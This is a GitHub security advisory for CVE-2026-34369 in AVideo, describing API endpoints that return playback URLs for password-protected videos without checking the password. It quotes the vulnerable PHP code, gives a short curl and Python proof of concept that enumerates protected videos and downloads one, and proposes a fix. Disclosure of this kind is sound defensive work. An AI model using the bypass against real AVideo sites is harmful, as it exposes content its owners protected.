GHSA-Q6JJ-R49P-94FH
Vulnerability from github – Published: 2026-03-30 18:03 – Updated: 2026-03-30 18:03Summary
The get_api_video_file and get_api_video API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the CustomizeUser::getModeYouTube() hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly.
Details
The video password protection is enforced in the web UI via CustomizeUser::getModeYouTube() (plugin/CustomizeUser/CustomizeUser.php:787), which calls videoPasswordIsGood() before rendering the video player. However, this hook is only invoked during web page rendering — the API endpoints bypass it entirely.
Vulnerable endpoint 1 — get_api_video_file (plugin/API/API.php:986-1004):
public function get_api_video_file($parameters)
{
global $global;
$obj = $this->startResponseObject($parameters);
$obj->videos_id = $parameters['videos_id'];
if (!self::isAPISecretValid()) {
if (!User::canWatchVideoWithAds($obj->videos_id)) {
return new ApiObject("You cannot watch this video");
}
}
$video = new Video('', '', $obj->videos_id);
$obj->filename = $video->getFilename();
// ...
$obj->video_file = Video::getHigherVideoPathFromID($obj->videos_id);
$obj->sources = getSources($obj->filename, true);
return new ApiObject("", false, $obj);
}
The only access check is User::canWatchVideoWithAds() (objects/user.php:1102-1159), which checks admin status, video active status, owner status, and plugin-level restrictions (subscription/PPV). It does not check video_password. Password-protected videos have status 'a' (active), which passes all checks.
Vulnerable endpoint 2 — get_api_video (plugin/API/API.php:1635-1810):
This endpoint returns video metadata including full videos paths (line 1759) and sources arrays (line 1785) for all videos in query results, with no password verification anywhere in the function.
The intended password check exists but is never called from these endpoints:
Video::verifyVideoPassword() (objects/video.php:543-553) is the proper password verification function, and get_api_video_password_is_correct exists as a separate API endpoint — proving password verification was intended as an access control. But neither get_api_video_file nor get_api_video invoke any password check.
PoC
# Step 1: Identify a password-protected video via the video list API
curl -s 'https://target.com/plugin/API/get.json.php?APIName=video&rowCount=50' | \
python3 -c "
import json, sys
data = json.load(sys.stdin)
for v in data.get('response',{}).get('rows',[]):
if v.get('video_password'):
print(f'ID: {v[\"id\"]}, Title: {v[\"title\"]}, Password Protected: YES')
print(f' Direct sources: {json.dumps(v.get(\"sources\",[])[0] if v.get(\"sources\") else \"none\")}')"
# Step 2: Retrieve full playback sources for the password-protected video
curl -s 'https://target.com/plugin/API/get.json.php?APIName=video_file&videos_id=<PROTECTED_VIDEO_ID>'
# Expected: access denied or password prompt
# Actual: full response with direct MP4/HLS URLs:
# {"error":false,"response":{"videos_id":"123","filename":"video_abc",
# "video_file":"https://target.com/videos/video_abc/video_abc_HD.mp4",
# "sources":[{"src":"https://target.com/videos/video_abc/video_abc_HD.mp4","type":"video/mp4"}]}}
# Step 3: Download the protected video directly
curl -O 'https://target.com/videos/video_abc/video_abc_HD.mp4'
Impact
Any unauthenticated user can retrieve direct playable video URLs for all password-protected videos, completely bypassing the password requirement. The get_api_video endpoint additionally exposes which videos are password-protected (via the video_password field set to '1'), allowing targeted enumeration. This renders the video_password feature ineffective for any content accessible through the API, which includes mobile apps, third-party integrations, and direct API consumers.
Recommended Fix
Add password verification to both API endpoints before returning video sources. In plugin/API/API.php:
public function get_api_video_file($parameters)
{
global $global;
$obj = $this->startResponseObject($parameters);
$obj->videos_id = $parameters['videos_id'];
if (!self::isAPISecretValid()) {
if (!User::canWatchVideoWithAds($obj->videos_id)) {
return new ApiObject("You cannot watch this video");
}
// Check video password protection
$video = new Video('', '', $obj->videos_id);
$storedPassword = $video->getVideo_password();
if (!empty($storedPassword)) {
$providedPassword = @$parameters['video_password'];
if (empty($providedPassword) || !Video::verifyVideoPassword($providedPassword, $storedPassword)) {
return new ApiObject("Video password required", true);
}
}
}
// ... rest of function
}
Apply the same check in get_api_video() before populating the videos and sources fields (around line 1759), replacing source data with an empty object when the password is not provided or incorrect. Also fix get_api_video_password_is_correct to use Video::verifyVideoPassword() instead of direct == comparison (line 1126), which currently fails for bcrypt hashes.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34369"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T18:03:26Z",
"nvd_published_at": "2026-03-27T19:16:42Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `get_api_video_file` and `get_api_video` API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the `CustomizeUser::getModeYouTube()` hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly.\n\n## Details\n\nThe video password protection is enforced in the web UI via `CustomizeUser::getModeYouTube()` (`plugin/CustomizeUser/CustomizeUser.php:787`), which calls `videoPasswordIsGood()` before rendering the video player. However, this hook is only invoked during web page rendering \u2014 the API endpoints bypass it entirely.\n\n**Vulnerable endpoint 1 \u2014 `get_api_video_file` (`plugin/API/API.php:986-1004`):**\n\n```php\npublic function get_api_video_file($parameters)\n{\n global $global;\n $obj = $this-\u003estartResponseObject($parameters);\n $obj-\u003evideos_id = $parameters[\u0027videos_id\u0027];\n if (!self::isAPISecretValid()) {\n if (!User::canWatchVideoWithAds($obj-\u003evideos_id)) {\n return new ApiObject(\"You cannot watch this video\");\n }\n }\n $video = new Video(\u0027\u0027, \u0027\u0027, $obj-\u003evideos_id);\n $obj-\u003efilename = $video-\u003egetFilename();\n // ...\n $obj-\u003evideo_file = Video::getHigherVideoPathFromID($obj-\u003evideos_id);\n $obj-\u003esources = getSources($obj-\u003efilename, true);\n return new ApiObject(\"\", false, $obj);\n}\n```\n\nThe only access check is `User::canWatchVideoWithAds()` (`objects/user.php:1102-1159`), which checks admin status, video active status, owner status, and plugin-level restrictions (subscription/PPV). It does **not** check `video_password`. Password-protected videos have status `\u0027a\u0027` (active), which passes all checks.\n\n**Vulnerable endpoint 2 \u2014 `get_api_video` (`plugin/API/API.php:1635-1810`):**\n\nThis endpoint returns video metadata including full `videos` paths (line 1759) and `sources` arrays (line 1785) for all videos in query results, with no password verification anywhere in the function.\n\n**The intended password check exists but is never called from these endpoints:**\n\n`Video::verifyVideoPassword()` (`objects/video.php:543-553`) is the proper password verification function, and `get_api_video_password_is_correct` exists as a separate API endpoint \u2014 proving password verification was intended as an access control. But neither `get_api_video_file` nor `get_api_video` invoke any password check.\n\n## PoC\n\n```bash\n# Step 1: Identify a password-protected video via the video list API\ncurl -s \u0027https://target.com/plugin/API/get.json.php?APIName=video\u0026rowCount=50\u0027 | \\\n python3 -c \"\nimport json, sys\ndata = json.load(sys.stdin)\nfor v in data.get(\u0027response\u0027,{}).get(\u0027rows\u0027,[]):\n if v.get(\u0027video_password\u0027):\n print(f\u0027ID: {v[\\\"id\\\"]}, Title: {v[\\\"title\\\"]}, Password Protected: YES\u0027)\n print(f\u0027 Direct sources: {json.dumps(v.get(\\\"sources\\\",[])[0] if v.get(\\\"sources\\\") else \\\"none\\\")}\u0027)\"\n\n# Step 2: Retrieve full playback sources for the password-protected video\ncurl -s \u0027https://target.com/plugin/API/get.json.php?APIName=video_file\u0026videos_id=\u003cPROTECTED_VIDEO_ID\u003e\u0027\n\n# Expected: access denied or password prompt\n# Actual: full response with direct MP4/HLS URLs:\n# {\"error\":false,\"response\":{\"videos_id\":\"123\",\"filename\":\"video_abc\",\n# \"video_file\":\"https://target.com/videos/video_abc/video_abc_HD.mp4\",\n# \"sources\":[{\"src\":\"https://target.com/videos/video_abc/video_abc_HD.mp4\",\"type\":\"video/mp4\"}]}}\n\n# Step 3: Download the protected video directly\ncurl -O \u0027https://target.com/videos/video_abc/video_abc_HD.mp4\u0027\n```\n\n## Impact\n\nAny unauthenticated user can retrieve direct playable video URLs for all password-protected videos, completely bypassing the password requirement. The `get_api_video` endpoint additionally exposes which videos are password-protected (via the `video_password` field set to `\u00271\u0027`), allowing targeted enumeration. This renders the `video_password` feature ineffective for any content accessible through the API, which includes mobile apps, third-party integrations, and direct API consumers.\n\n## Recommended Fix\n\nAdd password verification to both API endpoints before returning video sources. In `plugin/API/API.php`:\n\n```php\npublic function get_api_video_file($parameters)\n{\n global $global;\n $obj = $this-\u003estartResponseObject($parameters);\n $obj-\u003evideos_id = $parameters[\u0027videos_id\u0027];\n if (!self::isAPISecretValid()) {\n if (!User::canWatchVideoWithAds($obj-\u003evideos_id)) {\n return new ApiObject(\"You cannot watch this video\");\n }\n // Check video password protection\n $video = new Video(\u0027\u0027, \u0027\u0027, $obj-\u003evideos_id);\n $storedPassword = $video-\u003egetVideo_password();\n if (!empty($storedPassword)) {\n $providedPassword = @$parameters[\u0027video_password\u0027];\n if (empty($providedPassword) || !Video::verifyVideoPassword($providedPassword, $storedPassword)) {\n return new ApiObject(\"Video password required\", true);\n }\n }\n }\n // ... rest of function\n}\n```\n\nApply the same check in `get_api_video()` before populating the `videos` and `sources` fields (around line 1759), replacing source data with an empty object when the password is not provided or incorrect. Also fix `get_api_video_password_is_correct` to use `Video::verifyVideoPassword()` instead of direct `==` comparison (line 1126), which currently fails for bcrypt hashes.",
"id": "GHSA-q6jj-r49p-94fh",
"modified": "2026-03-30T18:03:26Z",
"published": "2026-03-30T18:03:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-q6jj-r49p-94fh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34369"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/be344206f2f461c034ad2f1c5d8212dd8a52b8c7"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has Video Password Protection Bypass via API Endpoints Returning Full Playback Sources Without Password Verification"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.